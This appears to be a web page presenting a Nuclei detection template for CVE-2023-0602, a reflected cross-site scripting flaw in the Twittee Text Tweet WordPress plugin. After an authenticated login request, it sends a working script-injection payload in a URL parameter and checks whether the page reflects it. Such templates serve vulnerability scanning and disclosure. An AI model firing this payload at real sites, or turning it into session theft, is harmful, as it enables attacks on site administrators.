Twittee Text Tweet <= 1.0.8 - Cross-Site Scripting

ID: CVE-2023-0602

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,wpscan,xss,wordpress,wp,wp-plugin,twittee-text-tweet,johnniejodelljr

Description

The Twittee Text Tweet WordPress plugin through 1.0.8 does not properly escape POST values which are printed back to the user inside one of the plugin’s administrative page, which allows reflected XSS attacks targeting administrators to happen.

YAML Source

id: CVE-2023-0602

info:
  name: Twittee Text Tweet <= 1.0.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Twittee Text Tweet WordPress plugin through 1.0.8 does not properly escape POST values which are printed back to the user inside one of the plugin's administrative page, which allows reflected XSS attacks targeting administrators to happen.
  reference:
    - https://wpscan.com/vulnerability/c357f93d-4f21-4cd9-9378-d97756c75255
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0602
    - https://wordpress.org/plugins/twittee-text-tweet/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0602
    cwe-id: CWE-79
    epss-score: 0.00071
    epss-percentile: 0.30429
    cpe: cpe:2.3:a:johnniejodelljr:twittee_text_tweet:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: johnniejodelljr
    product: twittee_text_tweet
    framework: wordpress
  tags: cve2023,cve,wpscan,xss,wordpress,wp,wp-plugin,twittee-text-tweet,johnniejodelljr

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ez2u4g HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains_all(body_2, "<script>alert(document.domain)</script>", "twittee")'
        condition: and
# digest: 4a0a00473045022100de6d7caa20c618db64af8c91633b40f0acd8879b0de88289b934cce552876a0f022053fcd11544b13d868dbf678933f424252ca98db1349fb1f78278a869aa5ba3b7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-0602.yaml"

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